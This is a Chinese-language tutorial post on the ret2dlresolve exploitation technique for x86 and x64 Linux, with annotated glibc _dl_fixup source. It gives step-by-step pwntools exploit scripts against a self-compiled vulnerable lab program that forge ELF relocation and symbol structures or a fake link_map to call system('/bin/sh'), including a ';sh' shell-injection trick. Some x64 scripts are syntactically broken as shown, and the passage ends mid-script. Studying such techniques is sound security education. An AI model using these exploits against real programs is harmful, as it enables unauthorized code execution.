首页
社区
课程
招聘
[原创]高级栈溢出之ret2dlresolve详解(x86&x64),附源码分析
2021-3-31 21:40 10389

[原创]高级栈溢出之ret2dlresolve详解(x86&x64),附源码分析

2021-3-31 21:40
10389

X86

前置知识

在Linux中,程序使用_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。

 

而ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容,从而控制解析的函数。

延迟绑定

第一次调用一个函数时,先是到plt表,然后jmp到got表

 

image-20210310021149836

 

此时got表存的地址是在plt表上

 

image-20210310021312333

 

其实也就是jmp got的下一条指令,这里先是push一个数字(该函数在rel.plt上的偏移,reloc_arg,后文会讲到),然后jmp到plt[0] (0x8048380)

 

image-20210310021500238

 

在plt[0]处先是push got[1],got[1]就是link_map(链接器的标识信息,后文会讲到),然后jmp到got[2]处,got[2]就是_dl_runtime_resolve函数的地址

 

image-20210310021741590

 

image-20210310021812130

 

所以相当于执行了

1
_dl_runtime_resolve(link_map,reloc_arg)

这个函数会完成符号的解析,即将真实的write函数地址写入其GOT表对应的条目中,随后将控制器交给被解析的函数

_dl_fixup

_dl_runtime_resolve 函数其实就调用了 _dl_fixup 函数

 

image-20210310022001869

 

_dl_fixup是在glibc-2.23/elf/dl-runtime.c实现的,我们先分析接下来会用到的一些函数,完整的源码分析在后文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_dl_fixup(struct link_map *l,ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
    assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);   
}

暂时看不懂不要紧,下面我们通过实践,逐步利用每一条语句进行伪造

渐进学习

难度是逐渐加深,学习建议是每一步都跟着脚本走一遍,关键地方我都给出了注释,然后最好自己能把每一步都写出来个大概

 

前面的一些概念和名词只需要大致知道是个什么东西,不需要深究,到后面自然会逐步加深理解。

 

文末给出了参考链接和相关文件及脚本的下载链接

1

我们先编译以下代码,一个常规的栈溢出,接下来我们在不leak的条件下逐步利用_dl_fixup函数最后get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
 
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}
1
gcc -fno-stack-protector -m32 -z relro -no-pie rof.c -o parelro_x64

保护如下:

 

image-20210308215541514

 

首先是先栈迁移到bss段,再手动调用plt[0],解析write函数,把命令打印出来,我们只需提前push reloc_arg(push 20h)即可完成利用

 

对应的是这一句

1
_dl_fixup(struct link_map *1,ElfW(Word) reloc_arg)

image-20210308203253841

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
elf = ELF('./bof')
context.log_level = 'debug'
 
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
 
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804861b
leave_ret = 0x08048458 # ROPgadget --binary bof --only "leave|ret"
 
stack_size = 0x800
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
 
r = process('./bof')
 
r.recvuntil('Welcome to XDCTF2015~!\n')
# 把payload2写入bss段,并把栈迁移到bss段
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.sendline(payload)
 
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
index_offset = 0x20# write's index
 
payload2 = flat('AAAA'
, p32(plt_0) # push link_map;jmp dl_runtime_resolve
, index_offset # 这里对应的就是 push 20h
, 'aaaa'
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, 'A' * 52
, cmd + '\x00'
, 'A' * 12)
 
r.sendline(payload2)
r.interactive()

image-20210308032722296

 

可以看到成功打印出字符

2

这一步我们控制好reloc_arg的大小,使reloc的位置落在可控地址(bss段)内,在bss段手动伪造出reloc,即伪造.rel.plt中关于write的内容,从而可以控制它的r_info

 

对应这一句

1
2
// 通过参数reloc_arg计算重定位的入口,这里的JMPREL即.rel.plt,reloc_offest即reloc_arg
    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

.rel.plt节是用于函数重定位,.rel.dyn是用于变量重定位

 

下面是rel的结构体定义

1
2
3
4
typedef struct{
    Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
    Elf32_Word r_info; // 符号表索引
}Elf32_Rel;

image-20210308203519387

 

.got节保存了全局变量偏移表,.got.plt节保存了全局函数偏移表。我们通常说的got表指的是.got.plt。.got.plt对应着Elf32_Rel结构中r_offset的值

1
2
3
4
// 原本是
reloc_arg + rel_plt = rel_plt->write
// 伪造成
fake_arg + rel_plt = fake_write

只需要更改payload2内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
r_info = 0x607 # 对应wirte,由 readelf -r bof 查询
fake_write = flat(p32(r_offset), p32(r_info)) # 伪造的rel_write
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, 'aaaa'
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write
, 'A' * 44
, cmd + '\x00'
, 'A' * 12)

image-20210308145626565

 

再次成功调用

3

这一步我们控制好reloc中的r_info,使sym落在可控地址内,从而伪造sym,从而可以控制它的st_name(偏移)

 

对应这两句

1
2
3
4
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JMUP_SLOT=7
assert(ELF(R_TYPE)(reloc->info) == ELF_MACHINE_JMP_SLOT);

.dynsym节包含了动态链接符号表。ELF32_Sym[num]中的num对应着ELF_R_SYM(Elf32_Rel->r_info)。根据定义,

1
ELF_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel-> r_info) >> 8

sym的结构体如下(大小为0x10)

1
2
3
4
5
6
7
8
9
typedef struct
{
    Elf32_Word st_name; // Symbol name(string tbl index)
    Elf32_Addr st_value; // Symbol value
    Elf32_word st_size; // Symbol size
    unsigned char st_info; // Symbol type and binding
    unsigned char st_other; // symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
}Elf32_Sym;

write的索引值为ELF32_R_SYM(0x607) = 0x607 >> 8 = 6。而Elf32_Sym[6]即保存着write的符号表信息。并且ELF32_R_TYPE(0x607) = 7, 对应着R_386_JUMP_SLOT。

 

ida中的symtab

 

image-20210308202722769

1
2
payload中0x4c的由来:
st_name = write_strtab - strtab = 0x4c

image-20210310024353117

1
2
3
4
原本:
sym[num],num = (write_sym - dynsym) / 16 = 6
伪造后:
num = (fake_write_sym - dynsym) / 16

更改后的payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
fake_write_addr = base_stage + 28
index_offset = fake_write_addr - rel_plt
r_offset = elf.got['write']
 
'''手动算偏移
base_stage + 28 = 134522944
base_stage + 28 + 8 - dynsym = 9868
9868 % 16 = 12
align = 16 - 12 = 4
r_info = (0x0804a040+0x800+28+12-0x080481d8)/16 = 617.0
'''
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write = flat(p32(r_offset), p32(r_info))
fake_sym = flat(p32(0x4c),p32(0),p32(0),p32(0x12)) # 0x4c就是st_name,0x12在IDA的symbol表可查到
 
payload2 = flat('AAAA'
, p32(plt_0)
, index_offset
, p32(ppp_ret)
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
 
r.sendline(payload2)
r.interactive()

image-20210308194150522

4

相信到了这一步,对于接下来要做什么已经很清楚了,既然在上一步我们能控制st_name,那接下来自然是伪造st_name,从而可以控制字符串表

 

对应这一句

1
2
// 接着通过strtab+(sym->st_name)找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym ->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
1
2
3
4
原本:
    st_name = write_strtab - strtab
伪造后:
    fake_name = fake_write_str_addr - strtab

image-20210308202443146

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
strtab = 0x08048278 #readelf -S bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'write\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(1)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
 
r.sendline(payload2)
r.interactive()

image-20210308211100141

5

最后一步自然是最简单的,现在我们知道_dl_fixup最后是根据字符串也就是函数名来索引函数,而我们已经能控制字符串表,所以我们只需把write改为system,并把相应参数替换一下,即可get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
cmd = "/bin/sh"
plt_0 = 0x08048380 # objdump -d -j .plt bof
rel_plt = 0x08048330 # objdump -s -j .rel.plt bof
dynsym = 0x080481D8  # readelf -S bof
strtab = 0x08048278 #readelf -S bof
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['write']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'system\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
 
r.sendline(payload2)
r.interactive()

image-20210308211713668

小总结

综上我们可以得出,程序调用动态函数流程为:压入两个参数 -> 由第一个参数(reloc_arg)确定重定位结构体(reloc_arg + rel_plt) -> 通过重定位结构体中的r_info确定符号表项(symtab[r_info >> 8]) -> 由符号表项的 st_name 确定字符串表(strtab)中函数对应字符串地址 (st_name + strtab)

 

所以我们一共需要伪造 reloc_arg ,r_info , st_name , str。

NO RELRO

上面的例子是Partial RELRO,当程序为NO RELRO时,利用更加简单,因为此时的.dynamic节是可修改的,我们只需要用read函数把其中的strtab的地址修改为我们可以控制的地址,再在这个地址上伪造一个fake_strtab,把write字符串替换为system字符串,其他内容与原来的一样,然后设置好参数,最后在像上面的第一步一样,先push reloc_arg,再jmp 到plt[0]处即可。

 

其实就相当于直接一步到上面的最后一步

例子

把上面源码编译

1
gcc -fno-stack-protector -m32 -z norelro -no-pie bof.c -o bof_norelro

image-20210308223028489

 

利用思路已经在注释中给出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context.log_level = 'debug'
elf = ELF('./norelro')
 
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']
 
ppp_ret = 0x08048629 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x0804862b
leave_ret = 0x08048445 # ROPgadget --binary bof --only "leave|ret"
 
stack_size = 0x300
bss_addr = 0x080498e0 # readelf -S bof | grep ".bss"
base_stage = bss_addr + stack_size
 
r = process('./norelro')
#r = gdb.debug("./bof3","break main")
r.recvuntil('Welcome to XDCTF2015~!\n')
# 常规栈溢出,先将栈迁移到bss段
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(0x500)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.sendline(payload)
 
# 由于多函数调用在一个payload里会参数混乱,此时system的参数为p32(strtab),所以采取shell注入的方式
fake_dynstr = '\x00libc.so.6\x00_IO_stdin_used\x00stdin\x00strlen\x00read\x00stdout\x00setbuf\x00__libc_start_main\x00system\x00'
strtab = 0x08049808 # .dynamic节中strtab的地址
payload2 = flat('AAAA'
, p32(read_plt)
, p32(0x080483A6) # push 20h;jmp plt[0]
, p32(0)
, p32(strtab) # .dynamic中strtab的地址
, p32(7)
, fake_dynstr)
 
r.sendline(payload2)
# 这里实际上是 system(p32(base_stage+24)+';sh') 而由于system(p32(base_stage+24))会调用失败,显示找不到这个命令,然后就会被';'结束掉这个命令,开启下一个命令,也就是system('sh')
fake_str_addr = flat(p32(base_stage + 24),';sh') # 覆盖strtab地址,并shell注入
payload3 = flat(fake_str_addr )
r.send(payload3)
r.interactive()

image-20210309005516979

x64

NO RELRO

64位下利用更简便,从栈传参变成了寄存器传参,不需要栈迁移,而且没有参数混乱的问题 ,一条rop链就能解决

1
gcc -fno-stack-protector -z norelro -no-pie rof.c -o norelro_x64

脚本注释已经写得很清楚了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import * 
context(os='linux',arch='amd64',log_level='debug')
 
r = process('./norelro_x64'
elf = ELF('./norelro_x64'
read_plt = elf.plt['read'
#我们攻击的目标,.dynamic中strtab的地址,我们要在此处修改指向fake_dynstr 
target_addr = 0x600988 + 8 
#用于加载函数地址的函数,当我们伪造了dynstr后,再次调用即可加载我们需要的函数 
plt0_load = 0x4004D0  
#pop rdi;ret; 
pop_rdi = 0x400773
#pop rsi ; pop r15 ; ret 
pop_rsi = 0x400771
#伪造dynstr 
fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00' #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00'
bss = 0x600B30 
 
payload = flat('a' * 120 , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , # 将'/bin/sh'以及伪造的strtab写入bss段
                pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , # 将.dynamic中的strtab地址改为我们伪造的strtab的地址
                pop_rdi , bss , plt0_load , 1 # 调用.dl_fixup,解析strlen函数,由于我们已经在fake_strtab中将strlen替换成system,所以将会解析system函数
 
)
 
r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload) 
#发送system的参数以及伪造的strtab
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr 
sleep(1
r.sendline(payload2) 
sleep(1
#修改dynsym里的strtab的地址为我们伪造的dynstr的地址 
r.sendline(p64(bss + 0x10)) 
r.interactive()

image-20210309020652776

PARTIAL_RELRO

同样先将上面的源码编译

1
gcc -fno-stack-protector -z relro -no-pie rof.c -o parelro_x64

image-20210310015601624

 

64位在这种情况下,如果像32位一样依次伪造reloc,symtab,strtab,会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处,接下来我们结合 _dl_fixup 完整源码进行分析,源码位于 glibc-2.23/elf/dl-runtime.c , 在关键位置我都给出了注释,其他位置可忽略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) // 第一个参数link_map,也就是got[1]
{
    // 获取link_map中存放DT_SYMTAB的地址
  const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
    // 获取link_map中存放DT_STRTAB的地址
  const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
    // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 根据重定位结构体的r_info得到symtab表中对应的结构体
  const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
 
  void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  lookup_t result;
  DL_FIXUP_VALUE_TYPE value;
 
  /* Sanity check that we're really looking at a PLT relocation.  */
  assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); // 检查r_info的最低位是不是7
 
   /* Look up the target symbol.  If the normal lookup rules are not
      used don't look in the global scope.  */
  if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
    {
      const struct r_found_version *version = NULL;
    // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
      // 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段,第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。
      const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
      ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
      version = &l->l_versions[ndx];
      if (version->hash == 0)
        version = NULL;
    }
 
      /* We need to keep the scope around so do some locking.  This is
     not necessary for objects which cannot be unloaded or when
     we are not using any threads (yet).  */
      int flags = DL_LOOKUP_ADD_DEPENDENCY;
      if (!RTLD_SINGLE_THREAD_P)
    {
      THREAD_GSCOPE_SET_FLAG ();
      flags |= DL_LOOKUP_GSCOPE_LOCK;
    }
 
      RTLD_ENABLE_FOREIGN_CALL;
    // 32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);
 
      /* We are done with the global scope.  */
      if (!RTLD_SINGLE_THREAD_P)
    THREAD_GSCOPE_RESET_FLAG ();
 
      RTLD_FINALIZE_FOREIGN_CALL;
 
      /* Currently result contains the base load address (or link map)
     of the object that defines sym.  Now add in the symbol
     offset.  */
      // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
      value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    }
  else
    {
      // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
      /* We already found the symbol.  The module (and therefore its load
     address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
      result = l;
    }
 
  /* And now perhaps the relocation addend.  */
  value = elf_machine_plt_value (l, reloc, value);
 
  if (sym != NULL
      && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
 
  /* Finally, fix up the plt itself.  */
  if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;
  // 最后把value写入相应的GOT表条目中
  return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

所以接下来我们的任务就是控制 link_map 中的l_addrsym中的st_value

 

具体思路为

  • 伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system-addr_xxx
  • 伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置
  • 也就是相当于 value = l_addr + st_value = addr_system - addr_xxx + real_xxx = real_system

下面是64位下的sym结构体

1
2
3
4
5
6
7
8
9
typedef struct 
  Elf64_Word    st_name;        /* Symbol name (string tbl index) */ 
  unsigned char st_info;        /* Symbol type and binding */ 
  unsigned char st_other;       /* Symbol visibility */ 
  Elf64_Section st_shndx;       /* Section index */ 
  Elf64_Addr    st_value;       /* Symbol value */ 
  Elf64_Xword   st_size;        /* Symbol size */ 
} Elf64_Sym;

其中

  • Elf64_Word 32 位
  • Elf64_Section 16 位
  • Elf64_Addr 64 位
  • Elf64_Xword 64 位

所以sym结构体的大小为24字节,st_value就位于sym[num]首地址+0x8的位置( 4 + 1 + 1 + 2)

 

我们自然就可以想到,如果,我们把一个函数的got表地址-0x8的位置当作sym表首地址,那么它的st_value的值就是这个函数的got表上的值,也就是实际地址,此时它的st_other恰好不为0

 

再来看link_map的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct link_map {
    Elf64_Addr l_addr;
 
    char *l_name;
 
    Elf64_Dyn *l_ld;
 
    struct link_map *l_next;
 
    struct link_map *l_prev;
 
    struct link_map *l_real;
 
    Lmid_t l_ns;
 
    struct libname_list *l_libname;
 
    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
    ...
 
    size_t l_tls_firstbyte_offset;
 
    ptrdiff_t l_tls_offset;
 
    size_t l_tls_modid;
 
    size_t l_tls_dtor_count;
 
    Elf64_Addr l_relro_addr;
 
    size_t l_relro_size;
 
    unsigned long long l_serial;
 
    struct auditstate l_audit[];
}

这里的.dynamic节就对应l_info的内容

 

image-20210310011345625

 

所以如果我们伪造一个link_map表,很容易就可以控制 l_addr ,通过阅读源码,我们知道_dl_fixup主要用了 l_info 的内容 ,也就是其中JMPREL,STRTAB,SYMTAB的地址。

 

所以我们需要伪造这个数组里的几个指针

  • DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)

  • DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)

  • DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到

 

64位下重定位表项与32位有所不同

1
2
3
4
5
6
7
8
9
10
typedef struct
{
  Elf64_Addr        r_offset;                /* Address */
  Elf64_Xword        r_info;                        /* Relocation type and symbol index */
  Elf64_Sxword        r_addend;                /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field.  */
#define ELF64_R_SYM(i)                        ((i) >> 32)
#define ELF64_R_TYPE(i)                        ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type)                ((((Elf64_Xword) (sym)) << 32) + (type))

这里 Elf64_Addr、Elf64_Xword、Elf64_Sxword 都为 64 位,因此 Elf64_Rela 结构体的大小为 24 (0x18)字节。

 

image-20210309200557598

 

在这里可以看到,write 函数在符号表中的偏移为 1(0x100000007h>>32)

 

除此之外,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,write 函数 push 的是 0,对应上图第一个位置

 

image-20210310003453921

 

接下来我们伪造link_map,know_func_ptr为已解析函数的got表地址,offset为system函数与这个函数在libc上的偏移,由于我们只需要在link_map特定的几个位置伪造指针,而中间的内容不会用到,所以我们就把伪造的rel.plt,symtab放在中间,方便理解可从下往上读代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset通常为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr
 
    # fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
    linkmap += p64(0) # 可以为任意值
    linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
 
    # fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
    linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
    linkmap += p64(0)# Rela->r_addend,任意值都行
 
    linkmap += p64(0)#l_ns
 
    # fake_linkmap_addr + 0x38, DT_SYMTAB
    linkmap += p64(0) # 参考IDA上.dyamisc的结构
    linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
 
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
    linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
    return linkmap

下面是完整的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import * 
context(os='linux',arch='amd64',log_level='debug')
 
#r = gdb.debug("./parelro_x64",'break main')
r = process('./parelro_x64'
elf = ELF('./parelro_x64'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so'
read_plt = elf.plt['read'
write_got = elf.got['write'
vuln_addr = elf.sym['vuln'
 
#bss 
bss = 0x601050 
bss_stage = bss + 0x100
l_addr =  libc.sym['system'] -libc.sym['write'# l_addr = -769472, 通常为负数
 
pop_rdi = 0x4007a3 
#pop rsi ; pop r15 ; ret 
pop_rsi = 0x4007a1 
#用于解析符号dl_runtime_resolve 
plt_load = 0x400506 
 
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    # &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
    linkmap = p64(offset & (2 ** 64 - 1))#l_addr
 
